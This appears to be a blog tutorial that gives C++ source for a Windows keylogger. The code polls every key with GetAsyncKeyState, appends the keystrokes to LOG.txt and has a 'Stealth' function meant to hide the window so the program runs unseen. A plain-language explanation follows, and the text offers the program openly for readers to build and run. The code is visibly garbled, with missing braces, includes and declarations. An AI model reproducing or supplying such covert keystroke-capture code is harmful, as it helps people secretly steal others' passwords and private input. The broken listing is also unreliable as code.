Create a powerful Keylogger yourself in C++ (code explained) v1.0

 First, you need a compiler. I recommend Dev C++ for this. (You can also use Borland's Turbo C++, Visual C++ or anything)

Download Dev C++ from here

Now, Create a new project (File>New) and paste the following code in it

using namespace std;
int Save (int key_stroke, char *file);
void Stealth();
int main()
char i;
while (1)
for(i = 8; i <= 190; i++)
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");
system ("PAUSE");
return 0;

/* *********************************** */

int Save (int key_stroke, char *file)

if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;
OUTPUT_FILE = fopen(file, "a+");
cout << key_stroke << endl;
if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose (OUTPUT_FILE);
return 0;

/* *********************************** */

void Stealth()

HWND Stealth;
Stealth = FindWindowA("ConsoleWindowClass", NULL);

And compile it to make an executable .exe file.

Explanation of Code

Here we use a Void Function named Stealth and another integer function called save in additional to int main() function (main function will execute first in all C++ apps). The stealth function is used to make the application stealth. It runs in background and invisible.
In main function, it calls Stealth function first to make the app stealth
under the if..statement, It tells the app to make a file called LOG.txt. It will be in the folder where your kelogger exists.
Then the last part- PAUSE is telling the OS to not to exit the software, stay paused
Now the save function,
It is so simple so that I think even a beginner can understand it by reading. It just compares the pressed key with various keys like Q, W, E ,....,shift, space etc. and writes it in the LOG.txt file.
Just execute the .exe file after compiling. You could see a blinking. Now it started working. Type some keys and check the LOG.txt file. VOILA!!! the pressed keys are recorded there. It keeps recording. To stop it you need to close it on the Task manager or shut down your system.
Next Post »